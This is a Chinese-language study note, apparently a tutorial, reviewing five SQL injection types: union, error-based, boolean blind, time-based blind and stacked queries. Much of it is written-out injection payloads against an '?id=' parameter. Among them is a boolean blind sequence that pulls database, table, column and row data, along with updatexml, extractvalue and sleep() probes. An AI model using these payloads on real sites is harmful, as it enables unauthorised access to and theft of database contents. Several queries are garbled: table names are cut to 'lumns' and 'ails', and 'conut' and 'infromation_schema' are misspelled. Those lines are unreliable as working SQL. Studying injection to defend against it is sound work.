sql注⼊复习--常见的五种注⼊类型
SQL注⼊常见的五种注⼊类型
正常回显
union是什么类型
错误回显
基于bool的盲注
基于时间的盲注
堆查询注⼊
什么是SQL注⼊
  SQL注⼊即是指web应⽤程序对⽤户输⼊数据的合法性没有判断或过滤不严,攻击者可以在web应⽤程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现⾮法操作,以此来实现欺骗数据库服务器执⾏⾮授权的任意查询,从⽽进⼀步得到相应的数据信息。
  简单来说,注⼊攻击的本质就是把⽤户输⼊的数据当做代码执⾏。⽐如⼀个⽹站的url中有⼀个参数?id=1,
此参数⽤于调取各个被标记好的页⾯,带到数据库中就会拼接为命令:select * from 库名.表名 where id=1,如果攻击者在后端加⼊注⼊语句例如:select * from 库名.表名 where id=1 and 1=1并且应⽤程序没有对参数做过滤的话,1=1将被执⾏,攻击者即可判断出此处存在注⼊漏洞。
SQL注⼊的分类
1、 按参数类型分为字符型、数字型
2、 按页⾯回显分为回显注⼊和盲注,其中回显⼜分为回显正常和回显报错,盲注分为时间盲注和布尔盲注
PS:更多的时候我们会希望它能够回显报错,因为报错信息会将数据库信息暴露出来,更便于进⼀步注⼊。不同的数据库注⼊语⾔和⽅式都有所不同,所以知道渗透⽬标使⽤什么数据库⾄关重要。
五种注⼊类型的应⽤场景
1、正常回显
数据库中的数据能够显⽰到⽹页中即可使⽤正常回显(可使⽤联合查询)
  例1:?id=1 and 1=2 union select 1,2,...,n from 库名.表名
  前⾯的语句因为1=2不成⽴所以不会成功执⾏,union后的select语句选择的列名内容则会相应的回显出来,将回显出来的数据替换成⾃⼰想要爆出的数据内容即可。
  例2:有些表单注⼊也存在正常回显注⼊,⽐如当输⼊正确的⽤户名和密码后,登录成功的页⾯可能会显⽰出你的⽤户名的相关内容,这就表⽰有回显的机会,可以尝试在⽤户名表单或者密码表单中进⾏注⼊。
2.错误回显
  基于错误消息注⼊前提是页⾯能够响应详细信息的错误描述,如果⽹站关闭了数据库的报错提⽰则⽆法使⽤错误回显。
  常见的三种报错注⼊函数有(以查database为例):
    updatexml()  ?id=1 and updatexml(1,concat(0x7e,(select(select database())),0x7e),1)
    floor()        ?id=1 and select conut(*),(concat(database(),rand(0)*2))x from infromation_schema.tables group by x
    extractvalue()    ?id=-1 or extractvalue(1,concat(0x7e,(select database())))
  updatexml和extractvalue的报错原因均为路径错误,floor的报错原因为主键冗余。
3.基于bool的盲注
  ⽹站能够返回ture/false两种不同显⽰的页⾯
盲注⼤致流程:
确定是否存在漏洞 → 确定数据库名长度 → 确定数据库名 → 确定表名长度 → 确定表名 → 确定列名长度 → 确定列名 → 确定内容长度 → 确定内容   
?id=1" and 1=1--+
?id=1" and 1=2--+
?id=1" and length(database())>1--+
?id=1" and ascii(mid(database(),1,1))>1--+
?id=1" and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>1--+
?id=1" and ascii(mid((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>1--+
?id=1" and length((select column_name from lumns where table_schema='security' and table_name='emails' limit 0,1))>1--+ 2
?id=1" and ascii(mid((select column_name from lumns where table_schema='security' and table_name='emails' limit 0,1),1,1))>1--+
?id=1" and length((select id ails limit 0,1))>0--+
?id=1" and ascii(mid((select id ails limit 0,1),1,1))>1--+
4.基于时间的盲注
  ⽆论查询语句正确与否,⽹站都会返回相同的页⾯。
  ?id=1 and 1=1 and sleep(3)
  ?id=1 and 1=2 and sleep(3)
  只有当前⾯的语句都正确时sleep()才会被执⾏。
5.堆查询注⼊
   ⽤';'分割开多条语句,可同时执⾏多条语句
     Q:Union也是将两条语句合并在⼀起,两者有何区别
     A:union/union all执⾏的语句类型是有限的,可以⽤来执⾏查询语句,
      ⽽堆叠注⼊可以执⾏的是任意的语句(增删改查)
  PS:盲注费事费⼒,想要完全⼿⼯是⼏乎不可能的事,
     所以会使⽤⼀些SQL注⼊⼯具,如sqlmap
   a little bit question
   Q:union 和and有什么区别,要在什么时候使⽤
   A:union把两条记录合并成⼀个记录,当union前⾯的语句为假,       后⾯的语句为真,则只会显⽰后⾯的语句,不会报错
      ⽽and⽤在条件中,是与的关系,只有前后都为真才正确
   practice makes perfect!